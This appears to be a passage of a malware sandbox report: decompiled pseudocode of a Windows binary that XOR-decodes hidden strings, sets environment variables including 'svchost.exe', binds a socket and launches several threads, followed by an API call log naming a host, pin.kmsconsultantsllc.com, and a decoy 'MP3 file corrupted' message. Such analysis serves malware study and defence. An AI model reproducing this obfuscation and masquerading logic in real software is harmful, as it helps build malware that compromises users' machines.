								_v327 = 0x1e;
								_v326 = 0x4c;
								_v325 = 0xf;
								_v324 = 0x68;
								_v323 = 0x3f;
								_v322 = 0x1f;
								_v321 = 0x74;
								_v320 = 0x2d;
								_v319 = 0x75;
								_v318 = 0x14;
								_v317 = 0x31;
								_v316 = 0x6d;
								_v315 = 0xc;
								_v314 = 0x5f;
								_v313 = 0xf;
								_v312 = 6;
								_v311 = 0x59;
								_v310 = 0x7e;
								_v309 = 0x76;
								_v308 = 0x5f;
								_v307 = 1;
								_v306 = 0x1a;
								_v305 = 0x33;
								_v304 = 0x1f;
								_v303 = 0xc;
								_v302 = 0x23;
								_v301 = 0xf;
								_v300 = 0x68;
								_v299 = 0x4b;
								_v298 = 0x6d;
								_v297 = 0x75;
								_v296 = 0x25;
								_v295 = 0x67;
								_v294 = 0x53;
								_v168 = 0x53;
								_v167 = 0x70;
								_v166 = 0x56;
								_v165 = 0x37;
								_v164 = 0x64;
								_v163 = 0x4e;
								E00402B00( &_v392, 0x43);
								_v24 = 0;
								while(1) {
									__eflags = _v24 - 0x43;
									if(_v24 >= 0x43) {
										break;
									}
									__eflags = 1;
									if(1 != 0) {
										asm("cdq");
										_t200 = _v24 % 6 - 0xa4; // 0x53
										__eflags =  *(_t873 + _v24 - 0x164) & 0x000000ff ^  *(_t873 + _t200) & 0x000000ff;
										E00402AE0( &_v392, _v24,  *(_t873 + _v24 - 0x164) & 0x000000ff ^  *(_t873 + _t200) & 0x000000ff);
									}
									_t835 = _v24 + 1;
									__eflags = _t835;
									_v24 = _t835;
								}
								E00407390( &_v432,  &_v432, E00402AD0( &_v392));
								_t880 = _t881 + 8;
								E00402B30( &_v392);
							} else {
								_v228 = 0x3f;
								_v227 = 0xc;
								_v226 = 0x5a;
								_v225 = 0xa;
								_v224 = 0x18;
								_v223 = 0x57;
								_v222 = 0xd;
								_v221 = 0x3c;
								_v220 = 0x10;
								_v219 = 0x6f;
								_v218 = 0x57;
								_v217 = 0xd;
								_v216 = 0x3e;
								_v215 = 0x10;
								_v214 = 0x7d;
								_v213 = 0x6c;
								_v128 = 0x6c;
								_v127 = 0x36;
								_v126 = 0x72;
								_v125 = 0x47;
								_v124 = 0x54;
								E00402B00( &_v396, 0x10);
								_v20 = 0;
								while(1) {
									__eflags = _v20 - 0x10;
									if(_v20 >= 0x10) {
										break;
									}
									__eflags = 1;
									if(1 != 0) {
										asm("cdq");
										_t107 = _v20 % 5 - 0x7c; // 0x6c
										__eflags =  *(_t873 + _v20 - 0xe0) & 0x000000ff ^  *(_t873 + _t107) & 0x000000ff;
										E00402AE0( &_v396, _v20,  *(_t873 + _v20 - 0xe0) & 0x000000ff ^  *(_t873 + _t107) & 0x000000ff);
									}
									_t783 = _v20 + 1;
									__eflags = _t783;
									_v20 = _t783;
								}
								E00407390( &_v432,  &_v432, E00402AD0( &_v396)); // executed
								_t880 = _t881 + 8;
								E00402B30( &_v396);
							}
							_t800 =  *0x429340; // 0x1
							__eflags = _t800 & 0x00000001;
							if((_t800 & 0x00000001) != 0) {
								_v412 = 8;
							}
							__eflags = 0;
							if(0 != 0) {
								continue;
							}
						} else {
						}
						L42:
						_t558 = E0040DBB0(); // executed
						 *0x4292f0 = _t558 & 0x0000ffff;
						_v196 = 0x17;
						_v195 = 0x1d;
						_v194 = 0x2f;
						_v193 = 0x19;
						_v192 = 0x2b;
						_v191 = 0x11;
						_v190 = 0xd;
						_v189 = 0x2f;
						_v188 = 0x22;
						_v187 = 0x2d;
						_v186 = 0x1e;
						_v185 = 0;
						_v184 = 0x38;
						_v183 = 0x46;
						_v120 = 0x72;
						_v119 = 0x65;
						_v118 = 0x4a;
						_v117 = 0x46;
						_v116 = 0x58;
						E00402B00( &_v364, 0xe);
						_v28 = 0;
						while(1) {
							__eflags = _v28 - 0xe;
							if(_v28 >= 0xe) {
								break;
							}
							__eflags = 1;
							if(1 != 0) {
								asm("cdq");
								_t240 = _v28 % 5 - 0x74; // 0x72
								__eflags =  *(_t873 + _v28 - 0xc0) & 0x000000ff ^  *(_t873 + _t240) & 0x000000ff;
								E00402AE0( &_v364, _v28,  *(_t873 + _v28 - 0xc0) & 0x000000ff ^  *(_t873 + _t240) & 0x000000ff);
							}
							_t831 = _v28 + 1;
							__eflags = _t831;
							_v28 = _t831;
						}
						_v212 = 0x26;
						_v211 = 0x18;
						_v210 = 0xc;
						_v209 = 0xd;
						_v208 = 0x37;
						_v207 = 0x34;
						_v206 = 0;
						_v205 = 2;
						_v204 = 0xd;
						_v203 = 0x36;
						_v202 = 0x38;
						_v201 = 0x18;
						_v200 = 0;
						_v199 = 0x63;
						_v112 = 0x55;
						_v111 = 0x6c;
						_v110 = 0x6d;
						_v109 = 0x63;
						_v108 = 0x53;
						E00402B00( &_v368, 0xe);
						_v32 = 0;
						while(1) {
							__eflags = _v32 - 0xe;
							if(_v32 >= 0xe) {
								break;
							}
							__eflags = 1;
							if(1 != 0) {
								asm("cdq");
								_t276 = _v32 % 5 - 0x6c; // 0x55
								__eflags =  *(_t873 + _v32 - 0xd0) & 0x000000ff ^  *(_t873 + _t276) & 0x000000ff;
								E00402AE0( &_v368, _v32,  *(_t873 + _v32 - 0xd0) & 0x000000ff ^  *(_t873 + _t276) & 0x000000ff);
							}
							_t766 = _v32 + 1;
							__eflags = _t766;
							_v32 = _t766;
						}
						_v160 = 0x52;
						_v159 = 0x3d;
						_v158 = 0x29;
						_v157 = 0x42;
						_v156 = 0x17;
						_v155 = 0x77;
						_v88 = 0x77;
						_v87 = 0x4e;
						_v86 = 0x76;
						_v85 = 0x67;
						_v84 = 0x73;
						E00402B00( &_v372, 6);
						_v12 = 0;
						while(1) {
							__eflags = _v12 - 6;
							if(_v12 >= 6) {
								break;
							}
							__eflags = 1;
							if(1 != 0) {
								asm("cdq");
								_t304 = _v12 % 5 - 0x54; // 0x77
								__eflags =  *(_t873 + _v12 - 0x9c) & 0x000000ff ^  *(_t873 + _t304) & 0x000000ff;
								E00402AE0( &_v372, _v12,  *(_t873 + _v12 - 0x9c) & 0x000000ff ^  *(_t873 + _t304) & 0x000000ff);
							}
							_t761 = _v12 + 1;
							__eflags = _t761;
							_v12 = _t761;
						}
						_t706 =  *0x41e430; // 0x3e9
						_push(_t706);
						_push(_v364);
						wsprintfA( &_v528, E00402AD0( &_v372));
						_t565 = E00403EF0(); // executed
						 *0x429354 = _t565;
						 *0x4292f0 = 0x1770;
						_v60 = 0x73;
						_v59 = 0xd;
						_v58 = 0x67;
						_v104 = 0x56;
						_v103 = 0x69;
						_v102 = 0x67;
						_v101 = 0x4d;
						_v100 = 0x4d;
						E00402B00( &_v376, 3);
						_v36 = 0;
						while(1) {
							__eflags = _v36 - 3;
							if(_v36 >= 3) {
								break;
							}
							__eflags = 1;
							if(1 != 0) {
								_t325 = _v36 - 0x38; // 0x73
								asm("cdq");
								_t332 = _v36 % 5 - 0x64; // 0x56
								__eflags =  *(_t873 + _t325) & 0x000000ff ^  *(_t873 + _t332) & 0x000000ff;
								E00402AE0( &_v376, _v36,  *(_t873 + _t325) & 0x000000ff ^  *(_t873 + _t332) & 0x000000ff);
							}
							_t756 = _v36 + 1;
							__eflags = _t756;
							_v36 = _t756;
						}
						_t709 =  *0x4292f0; // 0x1770
						_push(_t709);
						wsprintfA( &_v592, E00402AD0( &_v376));
						_v96 = 0x4d;
						_v95 = 0x34;
						_v94 = 0x26;
						_v93 = 0x35;
						_v92 = 0x38;
						_v80 = 0x39;
						_v79 = 0x46;
						_v78 = 0x53;
						_v77 = 0x50;
						_v76 = 0x38;
						E00402B00( &_v404, 5);
						_v40 = 0;
						while(1) {
							__eflags = _v40 - 5;
							if(_v40 >= 5) {
								break;
							}
							__eflags = 1;
							if(1 != 0) {
								_t354 = _v40 - 0x5c; // 0x4d
								asm("cdq");
								_t361 = _v40 % 5 - 0x4c; // 0x39
								__eflags =  *(_t873 + _t354) & 0x000000ff ^  *(_t873 + _t361) & 0x000000ff;
								E00402AE0( &_v404, _v40,  *(_t873 + _t354) & 0x000000ff ^  *(_t873 + _t361) & 0x000000ff);
							}
							_t627 = _v40 + 1;
							__eflags = _t627;
							_v40 = _t627;
						}
						_v180 = 0x27;
						_v179 = 0xe;
						_v178 = 0x17;
						_v177 = 6;
						_v176 = 0x56;
						_v175 = 0x25;
						_v174 = 0xe;
						_v173 = 2;
						_v172 = 0x1d;
						_v171 = 0x62;
						_v152 = 0x51;
						_v151 = 0x6b;
						_v150 = 0x79;
						_v149 = 0x62;
						_v148 = 0x39;
						_v147 = 0x57;
						E00402B00( &_v380, 0xa);
						_v44 = 0;
						while(1) {
							__eflags = _v44 - 0xa;
							if(_v44 >= 0xa) {
								break;
							}
							__eflags = 1;
							if(1 != 0) {
								asm("cdq");
								_t394 = _v44 % 6 - 0x94; // 0x51
								__eflags =  *(_t873 + _v44 - 0xb0) & 0x000000ff ^  *(_t873 + _t394) & 0x000000ff;
								E00402AE0( &_v380, _v44,  *(_t873 + _v44 - 0xb0) & 0x000000ff ^  *(_t873 + _t394) & 0x000000ff);
							}
							_t747 = _v44 + 1;
							__eflags = _t747;
							_v44 = _t747;
						}
						_v268 = 0x3e;
						_v267 = 0x58;
						_v266 = 0x1c;
						_v265 = 0x1c;
						_v264 = 0x32;
						_v263 = 0x21;
						_v262 = 0x56;
						_v261 = 0x16;
						_v260 = 0x17;
						_v259 = 0x31;
						_v258 = 0x20;
						_v257 = 0x56;
						_v256 = 3;
						_v255 = 0x17;
						_v254 = 0x30;
						_v253 = 0x21;
						_v252 = 0x50;
						_v251 = 0x11;
						_v250 = 0x17;
						_v249 = 0x42;
						_v72 = 0x53;
						_v71 = 0x39;
						_v70 = 0x75;
						_v69 = 0x72;
						_v68 = 0x42;
						E00402B00( &_v384, 0x14);
						_v48 = 0;
						while(1) {
							__eflags = _v48 - 0x14;
							if(_v48 >= 0x14) {
								break;
							}
							__eflags = 1;
							if(1 != 0) {
								asm("cdq");
								_t436 = _v48 % 5 - 0x44; // 0x53
								__eflags =  *(_t873 + _v48 - 0x108) & 0x000000ff ^  *(_t873 + _t436) & 0x000000ff;
								E00402AE0( &_v384, _v48,  *(_t873 + _v48 - 0x108) & 0x000000ff ^  *(_t873 + _t436) & 0x000000ff);
							}
							_t742 = _v48 + 1;
							__eflags = _t742;
							_v48 = _t742;
						}
						_v292 = 0x3d;
						_v291 = 0x27;
						_v290 = 0x18;
						_v289 = 0x12;
						_v288 = 0x35;
						_v287 = 0x25;
						_v286 = 0x23;
						_v285 = 0x2f;
						_v284 = 5;
						_v283 = 2;
						_v282 = 0x3f;
						_v281 = 0x26;
						_v280 = 0x3f;
						_v279 = 0x29;
						_v278 = 4;
						_v277 = 2;
						_v276 = 0x18;
						_v275 = 0x29;
						_v274 = 0x1c;
						_v273 = 0x23;
						_v272 = 0x76;
						_v144 = 0x6f;
						_v143 = 0x46;
						_v142 = 0x76;
						_v141 = 0x76;
						_v140 = 0x5a;
						_v139 = 0x48;
						E00402B00( &_v388, 0x15);
						_v52 = 0;
						while(1) {
							__eflags = _v52 - 0x15;
							if(_v52 >= 0x15) {
								break;
							}
							__eflags = 1;
							if(1 != 0) {
								asm("cdq");
								_t480 = _v52 % 6 - 0x8c; // 0x6f
								__eflags =  *(_t873 + _v52 - 0x120) & 0x000000ff ^  *(_t873 + _t480) & 0x000000ff;
								E00402AE0( &_v388, _v52,  *(_t873 + _v52 - 0x120) & 0x000000ff ^  *(_t873 + _t480) & 0x000000ff);
							}
							_t737 = _v52 + 1;
							__eflags = _t737;
							_v52 = _t737;
						}
						_t573 = E00402AD0( &_v404);
						SetEnvironmentVariableA(E00402AD0( &_v368), _t573);
						SetEnvironmentVariableA(E00402AD0( &_v380),  &_v528); // executed
						SetEnvironmentVariableA(E00402AD0( &_v384), "svchost.exe"); // executed
						SetEnvironmentVariableA(E00402AD0( &_v388),  &_v592);
						_v56 = HeapAlloc(GetProcessHeap(), 8, 0xc);
						memset(_v56, 0, 0xc << 0);
						 *_v56 = 0x20;
						 *0x429348 = CreateEventA(0, 0, 0, 0);
						_t588 = CreateThread(0, 0, E00419900, _v56, 0, 0); // executed
						 *(0x429300 + _v8 * 4) = _t588;
						_v8 = _v8 + 1;
						_t724 =  *0x42934c; // 0x66fab0
						_t591 = CreateThread(0, 0,  &M004148A0, _t724, 0, 0); // executed
						 *(0x429300 + _v8 * 4) = _t591;
						_v8 = _v8 + 1;
						_t594 = CreateThread(0, 0, E00407B20, _v56, 0, 0); // executed
						 *(0x429300 + _v8 * 4) = _t594;
						_v8 = _v8 + 1;
						_t597 = CreateThread(0, 0, E00413530, _v56, 0, 0); // executed
						 *(0x429300 + _v8 * 4) = _t597;
						_t599 = _v8 + 1;
						__eflags = _t599;
						_v8 = _t599;
						_t600 = CreateThread(0, 0, E0041A4C0, _a4, 0, 0); // executed
						CloseHandle(_t600);
						_v416 = 0;
						E00402B30( &_v388);
						E00402B30( &_v384);
						E00402B30( &_v380);
						E00402B30( &_v404);
						E00402B30( &_v376);
						E00402B30( &_v372);
						E00402B30( &_v368);
						E00402B30( &_v364);
						return _v416;
					}
					goto L42;
				}
				goto L15;
			}

0x0040eb00
0x0040eb00
0x0040eb0b
0x0040eb15
0x0040eb1c
0x0040eb26
0x0040eb35
0x0040eb4a
0x0040eb51
0x0040eb57
0x0040eb5c
0x0040eb5e
0x0040eb60
0x0040eb65
0x0040eb6a
0x0040eb6a
0x0040eb71
0x00000000
0x00000000
0x0040eb81
0x0040eb81
0x0040eb6a
0x0040eb89
0x0040eb9c
0x0040eba2
0x0040eba4
0x0040ebb0
0x0040ebcd
0x0040ebcd
0x0040ebdf
0x0040ebe8
0x0040ebef
0x0040ec04
0x0040ec13
0x0040ec21
0x0040ec30
0x0040ec30
0x0040ec40
0x0040ec46
0x0040ec48
0x0040ec4e
0x0040ec55
0x0040ec5c
0x0040ec63
0x0040ec6a
0x0040ec71
0x0040ec78
0x0040ec7f
0x0040ec86
0x0040ec8d
0x0040ec94
0x0040ec9b
0x0040eca2
0x0040eca9
0x0040ecb0
0x0040ecb7
0x0040ecbe
0x0040ecc5
0x0040eccc
0x0040ecd3
0x0040ecda
0x0040ece1
0x0040ece8
0x0040ecf4
0x0040ecf9
0x0040ed0b
0x0040ed0b
0x0040ed0f
0x00000000
0x00000000
0x0040ed16
0x0040ed18
0x0040ed28
0x0040ed30
0x0040ed38
0x0040ed45
0x0040ed45
0x0040ed05
0x0040ed05
0x0040ed08
0x0040ed08
0x0040ed5f
0x0040ed6b
0x0040ed70
0x0040ed70
0x0040ed77
0x0040ed7d
0x0040ed82
0x0040ed85
0x0040ed87
0x00000000
0x00000000
0x0040ed95
0x0040ed98
0x0040ed9a
0x0040edac
0x0040edb6
0x0040edb9
0x00000000
0x00000000
0x0040edbe
0x0040edcb
0x0040eda6
0x0040eda6
0x0040eda9
0x0040eda9
0x0040edac
0x0040edd3
0x0040edd3
0x0040eddd
0x0040ede2
0x0040ede7
0x0040ede9
0x0040edf0
0x0040ee08
0x0040ee0b
0x0040ef1d
0x0040ef24
0x0040ef2b
0x0040ef32
0x0040ef39
0x0040ef40
0x0040ef47
0x0040ef4e
0x0040ef55
0x0040ef5c
0x0040ef63
0x0040ef6a
0x0040ef71
0x0040ef78
0x0040ef7f
0x0040ef86
0x0040ef8d
0x0040ef94
0x0040ef9b
0x0040efa2
0x0040efa9
0x0040efb0
0x0040efb7
0x0040efbe
0x0040efc5
0x0040efcc
0x0040efd3
0x0040efda
0x0040efe1
0x0040efe8
0x0040efef
0x0040eff6
0x0040effd
0x0040f004
0x0040f00b
0x0040f012
0x0040f019
0x0040f020
0x0040f027
0x0040f02e
0x0040f035
0x0040f03c
0x0040f043
0x0040f04a
0x0040f051
0x0040f058
0x0040f05f
0x0040f066
0x0040f06d
0x0040f074
0x0040f07b
0x0040f082
0x0040f089
0x0040f090
0x0040f097
0x0040f09e
0x0040f0a5
0x0040f0ac
0x0040f0b3
0x0040f0ba
0x0040f0c1
0x0040f0c8
0x0040f0cf
0x0040f0d6
0x0040f0dd
0x0040f0e4
0x0040f0eb
0x0040f0f2
0x0040f0f9
0x0040f100
0x0040f107
0x0040f10e
0x0040f115
0x0040f124
0x0040f129
0x0040f13b
0x0040f13b
0x0040f13f
0x00000000
0x00000000
0x0040f146
0x0040f148
0x0040f158
0x0040f160
0x0040f168
0x0040f175
0x0040f175
0x0040f135
0x0040f135
0x0040f138
0x0040f138
0x0040f18f
0x0040f194
0x0040f19d
0x0040ee11
0x0040ee11
0x0040ee18
0x0040ee1f
0x0040ee26
0x0040ee2d
0x0040ee34
0x0040ee3b
0x0040ee42
0x0040ee49
0x0040ee50
0x0040ee57
0x0040ee5e
0x0040ee65
0x0040ee6c
0x0040ee73
0x0040ee7a
0x0040ee81
0x0040ee85
0x0040ee89
0x0040ee8d
0x0040ee91
0x0040ee9d
0x0040eea2
0x0040eeb4
0x0040eeb4
0x0040eeb8
0x00000000
0x00000000
0x0040eebf
0x0040eec1
0x0040eed1
0x0040eed9
0x0040eede
0x0040eeeb
0x0040eeeb
0x0040eeae
0x0040eeae
0x0040eeb1
0x0040eeb1
0x0040ef05
0x0040ef0a
0x0040ef13
0x0040ef13
0x0040f1a2
0x0040f1a8
0x0040f1ab
0x0040f1ad
0x0040f1ad
0x0040f1b7
0x0040f1b9
0x00000000
0x00000000
0x00000000
0x0040edeb
0x0040f1bf
0x0040f1bf
0x0040f1c7
0x0040f1cd
0x0040f1d4
0x0040f1db
0x0040f1e2
0x0040f1e9
0x0040f1f0
0x0040f1f7
0x0040f1fe
0x0040f205
0x0040f20c
0x0040f213
0x0040f21a
0x0040f221
0x0040f228
0x0040f22f
0x0040f233
0x0040f237
0x0040f23b
0x0040f23f
0x0040f24b
0x0040f250
0x0040f262
0x0040f262
0x0040f266
0x00000000
0x00000000
0x0040f26d
0x0040f26f
0x0040f27f
0x0040f287
0x0040f28c
0x0040f299
0x0040f299
0x0040f25c
0x0040f25c
0x0040f25f
0x0040f25f
0x0040f2a0
0x0040f2a7
0x0040f2ae
0x0040f2b5
0x0040f2bc
0x0040f2c3
0x0040f2ca
0x0040f2d1
0x0040f2d8
0x0040f2df
0x0040f2e6
0x0040f2ed
0x0040f2f4
0x0040f2fb
0x0040f302
0x0040f306
0x0040f30a
0x0040f30e
0x0040f312
0x0040f31e
0x0040f323
0x0040f335
0x0040f335
0x0040f339
0x00000000
0x00000000
0x0040f340
0x0040f342
0x0040f352
0x0040f35a
0x0040f35f
0x0040f36c
0x0040f36c
0x0040f32f
0x0040f32f
0x0040f332
0x0040f332
0x0040f373
0x0040f37a
0x0040f381
0x0040f388
0x0040f38f
0x0040f396
0x0040f39d
0x0040f3a1
0x0040f3a5
0x0040f3a9
0x0040f3ad
0x0040f3b9
0x0040f3be
0x0040f3d0
0x0040f3d0
0x0040f3d4
0x00000000
0x00000000
0x0040f3db
0x0040f3dd
0x0040f3ed
0x0040f3f5
0x0040f3fa
0x0040f407
0x0040f407
0x0040f3ca
0x0040f3ca
0x0040f3cd
0x0040f3cd
0x0040f40e
0x0040f414
0x0040f41b
0x0040f42f
0x0040f438
0x0040f43d
0x0040f442
0x0040f44c
0x0040f450
0x0040f454
0x0040f458
0x0040f45c
0x0040f460
0x0040f464
0x0040f468
0x0040f474
0x0040f479
0x0040f48b
0x0040f48b
0x0040f48f
0x00000000
0x00000000
0x0040f496
0x0040f498
0x0040f49d
0x0040f4a5
0x0040f4ad
0x0040f4b2
0x0040f4bf
0x0040f4bf
0x0040f485
0x0040f485
0x0040f488
0x0040f488
0x0040f4c6
0x0040f4cc
0x0040f4e0
0x0040f4e9
0x0040f4ed
0x0040f4f1
0x0040f4f5
0x0040f4f9
0x0040f4fd
0x0040f501
0x0040f505
0x0040f509
0x0040f50d
0x0040f519
0x0040f51e
0x0040f530
0x0040f530
0x0040f534
0x00000000
0x00000000
0x0040f53b
0x0040f53d
0x0040f542
0x0040f54a
0x0040f552
0x0040f557
0x0040f564
0x0040f564
0x0040f52a
0x0040f52a
0x0040f52d
0x0040f52d
0x0040f56b
0x0040f572
0x0040f579
0x0040f580
0x0040f587
0x0040f58e
0x0040f595
0x0040f59c
0x0040f5a3
0x0040f5aa
0x0040f5b1
0x0040f5b8
0x0040f5bf
0x0040f5c6
0x0040f5cd
0x0040f5d4
0x0040f5e3
0x0040f5e8
0x0040f5fa
0x0040f5fa
0x0040f5fe
0x00000000
0x00000000
0x0040f605
0x0040f607
0x0040f617
0x0040f61f
0x0040f627
0x0040f634
0x0040f634
0x0040f5f4
0x0040f5f4
0x0040f5f7
0x0040f5f7
0x0040f63b
0x0040f642
0x0040f649
0x0040f650
0x0040f657
0x0040f65e
0x0040f665
0x0040f66c
0x0040f673
0x0040f67a
0x0040f681
0x0040f688
0x0040f68f
0x0040f696
0x0040f69d
0x0040f6a4
0x0040f6ab
0x0040f6b2
0x0040f6b9
0x0040f6c0
0x0040f6c7
0x0040f6cb
0x0040f6cf
0x0040f6d3
0x0040f6d7
0x0040f6e3
0x0040f6e8
0x0040f6fa
0x0040f6fa
0x0040f6fe
0x00000000
0x00000000
0x0040f705
0x0040f707
0x0040f717
0x0040f71f
0x0040f724
0x0040f731
0x0040f731
0x0040f6f4
0x0040f6f4
0x0040f6f7
0x0040f6f7
0x0040f738
0x0040f73f
0x0040f746
0x0040f74d
0x0040f754
0x0040f75b
0x0040f762
0x0040f769
0x0040f770
0x0040f777
0x0040f77e
0x0040f785
0x0040f78c
0x0040f793
0x0040f79a
0x0040f7a1
0x0040f7a8
0x0040f7af
0x0040f7b6
0x0040f7bd
0x0040f7c4
0x0040f7cb
0x0040f7d2
0x0040f7d9
0x0040f7e0
0x0040f7e7
0x0040f7ee
0x0040f7fd
0x0040f802
0x0040f814
0x0040f814
0x0040f818
0x00000000
0x00000000
0x0040f81f
0x0040f821
0x0040f831
0x0040f839
0x0040f841
0x0040f84e
0x0040f84e
0x0040f80e
0x0040f80e
0x0040f811
0x0040f811
0x0040f85b
0x0040f86d
0x0040f886
0x0040f89d
0x0040f8b6
0x0040f8cd
0x0040f8da
0x0040f8df
0x0040f8f3
0x0040f909
0x0040f912
0x0040f91f
0x0040f926
0x0040f936
0x0040f93f
0x0040f94c
0x0040f960
0x0040f969
0x0040f976
0x0040f98a
0x0040f993
0x0040f99d
0x0040f99d
0x0040f9a0
0x0040f9b4
0x0040f9bb
0x0040f9c1
0x0040f9d1
0x0040f9dc
0x0040f9e7
0x0040f9f2
0x0040f9fd
0x0040fa08
0x0040fa13
0x0040fa1e
0x0040fa2e
0x0040fa2e
0x00000000
0x0040ed89
0x00000000

APIs

OutputDebugStringA.KERNELBASE(MP3 file corrupted), ref: 0040EB35
CreateThread.KERNELBASE(00000000,00000000,0040E910,00000000,00000000,00000000), ref: 0040EB4A
CloseHandle.KERNEL32(00000000), ref: 0040EB51

Part of subcall function 0040DA90: GetEnvironmentVariableA.KERNEL32(00000000,?,00000104,0000000D,00000000), ref: 0040DB62
Part of subcall function 0040DA90: lstrlenA.KERNEL32(?), ref: 0040DB73

Sleep.KERNEL32(00002710), ref: 0040EB81
VirtualProtect.KERNELBASE(pin.kmsconsultantsllc.com,00000184,00000040,?), ref: 0040EB9C
VirtualProtect.KERNELBASE(pin.kmsconsultantsllc.com,00000184,?,?,pin.kmsconsultantsllc.com,00000184), ref: 0040EBCD
GetModuleHandleW.KERNELBASE(00000000,00000343), ref: 0040EBE8

Part of subcall function 00410AA0: GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,00408673), ref: 00410AB8
Part of subcall function 00410AA0: GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,00408673), ref: 00410ACB
Part of subcall function 00410AA0: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,00408673), ref: 00410ADE
Part of subcall function 00410AA0: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,?,?,?,?,?,?,00408673), ref: 00410B62
Part of subcall function 00410AA0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00408673), ref: 00410B76
Part of subcall function 00410AA0: GetProcessHeap.KERNEL32(00000008,00000020,?,?,?,?,?,?,?,?,?,00408673), ref: 00410B94
Part of subcall function 00410AA0: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00408673), ref: 00410B9B
Part of subcall function 00410AA0: GetComputerNameW.KERNEL32 ref: 00410BC5
Part of subcall function 00410AA0: lstrcpyW.KERNEL32(024508A8,00000000), ref: 00410C83

GetUserNameW.ADVAPI32(?,00000208), ref: 0040EC40
SetEnvironmentVariableW.KERNEL32(00000000,?,00000024), ref: 0040ED5F

Part of subcall function 00406E70: LoadLibraryA.KERNEL32(00000000), ref: 0040700B
Part of subcall function 00406E70: GetProcAddress.KERNELBASE(00000000), ref: 00407012
Part of subcall function 00406E70: LoadLibraryA.KERNEL32(00000000), ref: 0040715A
Part of subcall function 00406E70: GetProcAddress.KERNELBASE(00000000), ref: 00407161
Part of subcall function 00406E70: LoadLibraryA.KERNEL32(00000000), ref: 00407292
Part of subcall function 00406E70: GetProcAddress.KERNELBASE(00000000), ref: 00407299
Part of subcall function 00406E70: GetProcessHeap.KERNEL32(00000008,00000000), ref: 004072C5
Part of subcall function 00406E70: HeapAlloc.KERNEL32(00000000), ref: 004072CC
Part of subcall function 00406E70: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040731E
Part of subcall function 00406E70: HeapFree.KERNEL32(00000000), ref: 00407325

Part of subcall function 0040D8B0: lstrcatW.KERNEL32 ref: 0040DA04
Part of subcall function 0040D8B0: GetTickCount.KERNELBASE ref: 0040DA3F

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

Part of subcall function 00407390: ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(?,00000001,-00000004,00000000), ref: 004073C7

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Part of subcall function 0040DBB0: WSAStartup.WS2_32(00000202,?), ref: 0040DBCC
Part of subcall function 0040DBB0: socket.WS2_32(00000002,00000001,00000000), ref: 0040DBD8
Part of subcall function 0040DBB0: GetCurrentProcessId.KERNEL32 ref: 0040DBEB
Part of subcall function 0040DBB0: inet_addr.WS2_32(00000000), ref: 0040DCB9
Part of subcall function 0040DBB0: htons.WS2_32(0040F1C4), ref: 0040DCC7
Part of subcall function 0040DBB0: bind.WS2_32(000000FF,?,00000010), ref: 0040DCE4
Part of subcall function 0040DBB0: closesocket.WS2_32(000000FF), ref: 0040DCF2

wsprintfA.USER32 ref: 0040F42F

Part of subcall function 00403EF0: GetModuleHandleW.KERNELBASE(00000000), ref: 00403F1C
Part of subcall function 00403EF0: GetCurrentProcess.KERNEL32(00000008,00000000), ref: 00403F28
Part of subcall function 00403EF0: OpenProcessToken.ADVAPI32(00000000), ref: 00403F2F
Part of subcall function 00403EF0: GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00403F4D
Part of subcall function 00403EF0: GetLastError.KERNEL32 ref: 00403F53
Part of subcall function 00403EF0: GlobalAlloc.KERNEL32(00000040,00000000), ref: 00403F68
Part of subcall function 00403EF0: GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00403F8D
Part of subcall function 00403EF0: ConvertSidToStringSidW.ADVAPI32(?,00000000), ref: 00403FA5
Part of subcall function 00403EF0: StrCmpIW.SHLWAPI(00000000,00000000), ref: 0040407A
Part of subcall function 00403EF0: LocalFree.KERNEL32(00000000,?,00000000), ref: 0040408F
Part of subcall function 00403EF0: GlobalFree.KERNEL32(00000000), ref: 004040A1
Part of subcall function 00403EF0: CloseHandle.KERNEL32(00000000), ref: 004040AB

wsprintfA.USER32 ref: 0040F4E0
SetEnvironmentVariableA.KERNEL32(00000000,00000000,00000015,00000014,0000000A,00000005), ref: 0040F86D
SetEnvironmentVariableA.KERNELBASE(00000000,?), ref: 0040F886
SetEnvironmentVariableA.KERNELBASE(00000000,svchost.exe), ref: 0040F89D
SetEnvironmentVariableA.KERNEL32(00000000,?), ref: 0040F8B6
GetProcessHeap.KERNEL32(00000008,0000000C), ref: 0040F8C0
HeapAlloc.KERNEL32(00000000), ref: 0040F8C7
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040F8ED
CreateThread.KERNELBASE(00000000,00000000,00419900,?,00000000,00000000), ref: 0040F909
CreateThread.KERNELBASE(00000000,00000000,004148A0,0066FAB0,00000000,00000000), ref: 0040F936
CreateThread.KERNELBASE(00000000,00000000,00407B20,?,00000000,00000000), ref: 0040F960
CreateThread.KERNELBASE(00000000,00000000,00413530,?,00000000,00000000), ref: 0040F98A
CreateThread.KERNELBASE(00000000,00000000,0041A4C0,00000006,00000000,00000000), ref: 0040F9B4
CloseHandle.KERNEL32(00000000), ref: 0040F9BB

Part of subcall function 0040DD20: GetModuleHandleA.KERNELBASE(00000000,00000000,00000014,0000000D), ref: 0040DEDE
Part of subcall function 0040DD20: GetProcAddress.KERNELBASE(00000000), ref: 0040DEE5
Part of subcall function 0040DD20: GlobalMemoryStatusEx.KERNELBASE(00000040), ref: 0040DF02
Part of subcall function 0040DD20: GetNativeSystemInfo.KERNEL32(?,000000BC), ref: 0040E21E
Part of subcall function 0040DD20: GetSystemInfo.KERNEL32(?,000000BC), ref: 0040E22D
Part of subcall function 0040DD20: RegOpenKeyW.ADVAPI32(80000002,00000000,?), ref: 0040E2E1
